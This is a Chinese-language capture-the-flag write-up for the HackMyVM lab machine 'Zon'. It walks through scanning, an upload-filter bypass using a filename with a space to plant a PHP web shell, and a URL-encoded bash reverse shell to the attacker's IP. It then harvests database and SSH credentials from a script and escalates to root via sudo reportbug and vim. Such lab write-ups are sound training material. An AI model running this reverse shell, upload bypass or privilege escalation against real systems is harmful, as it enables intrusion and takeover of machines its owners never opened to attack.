[HackMyVM]靶场 Zon

kali:192.168.56.104

主机发现

arp-scan -l

# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:5e:1f:a2       PCS Systemtechnik GmbH
192.168.56.121  08:00:27:c4:b9:25       PCS Systemtechnik GmbH

靶机:192.168.56.121

端口扫描

nmap 192.168.56.121

# nmap 192.168.56.121
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-18 17:25 CST
Nmap scan report for 192.168.56.121
Host is up (0.00023s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:C4:B9:25 (Oracle VirtualBox virtual NIC)

还是22 80端口

目录扫描

gobuster dir -u http://192.168.56.121 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# gobuster dir -u http://192.168.56.121 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.121
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php,bak,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 279]
/images               (Status: 301) [Size: 317] [--> http://192.168.56.121/images/]
/index.php            (Status: 200) [Size: 29170]
/contact.php          (Status: 200) [Size: 11753]
/about.php            (Status: 200) [Size: 10538]
/blog.php             (Status: 200) [Size: 12490]
/.php                 (Status: 403) [Size: 279]
/uploads              (Status: 301) [Size: 318] [--> http://192.168.56.121/uploads/]
/upload.php           (Status: 500) [Size: 0]
/service.php          (Status: 200) [Size: 12239]
/report.php           (Status: 200) [Size: 13]
/icon                 (Status: 301) [Size: 315] [--> http://192.168.56.121/icon/]
/css                  (Status: 301) [Size: 314] [--> http://192.168.56.121/css/]
/js                   (Status: 301) [Size: 313] [--> http://192.168.56.121/js/]
/fonts                (Status: 301) [Size: 316] [--> http://192.168.56.121/fonts/]
/choose.php           (Status: 200) [Size: 1908]
/testimonial.php      (Status: 200) [Size: 17014]
/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]

经过一一测试发现choose.php可以文件上传

上传要求是zip里面包一个jpeg文件，然后再uploads里面就能看到这个文件

经过测试，修改文件头，%00隔断都没用，最后一句话马用shell.jpg .php(注意有一个空格)的名字成功上传

反弹shell

http://192.168.56.121/uploads/shel.jpeg%20.php?0=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.104%2F4567%20%200%3E%261%27

发现一个可疑文件hashDB.sh

www-data@zon:/var/www/html$ cat has*
#!/bin/bash

# script that checks the database's integrity every minute

dump=/dev/shm/dump.sql
log=/var/log/db_integrity_check.log
true > "${log}"

/usr/bin/mysqldump -u admin -pudgrJbFc6Av#U3 admin credentials > "${dump}"
/usr/bin/sed -i '$d' "${dump}"

hash="29d8e6b76aab0254f7fe439a6a5d2fba64270dde087e6dfab57fa57f6749858a"
check_hash=$(sha256sum "${dump}" | awk '{print $1}')

if [[ "${hash}" != "${check_hash}" ]] ; then
  /usr/bin/wall "Alert ! Database hacked !"
  /usr/bin/du -sh /var/lib/mysql >> "${log}"
  /usr/bin/vmstat 1 3 >> "${log}"
else
  /usr/bin/sync && /usr/bin/echo 3 > /proc/sys/vm/drop_caches
  /usr/bin/echo "$(date) : Integrity check completed for ${dump}" >> "${log}"
fi

泄露了数据库账号密码

admin/udgrJbFc6Av#U3

MariaDB [admin]> select * from credentials;
+----------+-------------------------+
| username | password                |
+----------+-------------------------+
| Freddie  | LDVK@dYiEa2I1lnjrEeoMif |
+----------+-------------------------+
1 row in set (0.000 sec)

进去找到了Freddie的密码，测试发现用户名首字母小写

freddie/LDVK@dYiEa2I1lnjrEeoMif

# ssh freddie@192.168.56.121
freddie@192.168.56.121's password: 
Linux zon 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
╭─freddie@zon ~ 
╰─$ ls
user.txt
╭─freddie@zon ~ 
╰─$ 

拿到user权限

─freddie@zon ~ 
╰─$ sudo -l
sudo: unable to resolve host zon: Temporary failure in name resolution
Matching Defaults entries for freddie on zon:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User freddie may run the following commands on zon:
    (ALL : ALL) NOPASSWD: /usr/bin/reportbug

reportbug可以提权

运行之后我就乱按一通

最后搞出个

Select an editor.  To change later, run 'select-editor'.
  1. /bin/nano        <---- easiest
  2. /usr/bin/vim.tiny

Choose 1-2 [1]: 2

用vi提权

在底端命令行输入!bash就能拿到root权限

root@zon:/home/freddie# whoami
root

很神奇
 

总结:文件上传空格绕过